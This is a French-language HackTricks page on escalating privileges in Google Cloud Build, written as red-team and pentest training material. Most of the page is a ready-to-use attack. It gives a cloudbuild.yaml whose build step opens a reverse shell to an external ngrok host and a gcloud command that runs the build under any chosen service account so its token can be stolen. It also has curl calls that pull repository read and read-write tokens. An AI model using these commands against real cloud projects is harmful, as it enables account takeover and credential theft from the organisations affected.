GCP - Cloudbuild Privesc

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

cloudbuild

Pour plus d'informations sur Cloud Build, consultez :

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

Avec cette permission, vous pouvez soumettre un cloud build. La machine cloudbuild aura dans son système de fichiers par défaut un token du Service Account cloudbuild : <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Cependant, vous pouvez indiquer n'importe quel compte de service à l'intérieur du projet dans la configuration cloudbuild.
Par conséquent, vous pouvez simplement faire exfiltrer le token vers votre serveur ou obtenir un shell inversé à l'intérieur et récupérer le token (le fichier contenant le token peut changer).

Exploitation directe via gcloud CLI

1- Créez cloudbuild.yaml et modifiez-le avec vos données d'écoute

yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY

2- Téléchargez un build simple sans source, le fichier yaml et spécifiez le SA à utiliser pour le build :

bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com

Utilisation de la bibliothèque python gcloud

Vous pouvez trouver le script d'exploitation original ici sur GitHub (mais l'emplacement d'où il prend le token n'a pas fonctionné pour moi). Par conséquent, vérifiez un script pour automatiser la création, l'exploitation et le nettoyage d'un environnement vulnérable ici et un script python pour obtenir un shell inversé à l'intérieur de la machine cloudbuild et le voler ici (dans le code, vous pouvez trouver comment spécifier d'autres comptes de service).

Pour une explication plus approfondie, visitez https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.repositories.accessReadToken

Avec cette permission, l'utilisateur peut obtenir le token d'accès en lecture utilisé pour accéder au dépôt :

bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Avec cette autorisation, l'utilisateur peut obtenir le jeton d'accès en lecture et écriture utilisé pour accéder au dépôt :

bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Avec cette permission, vous pouvez obtenir les dépôts auxquels la connexion a accès :

bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks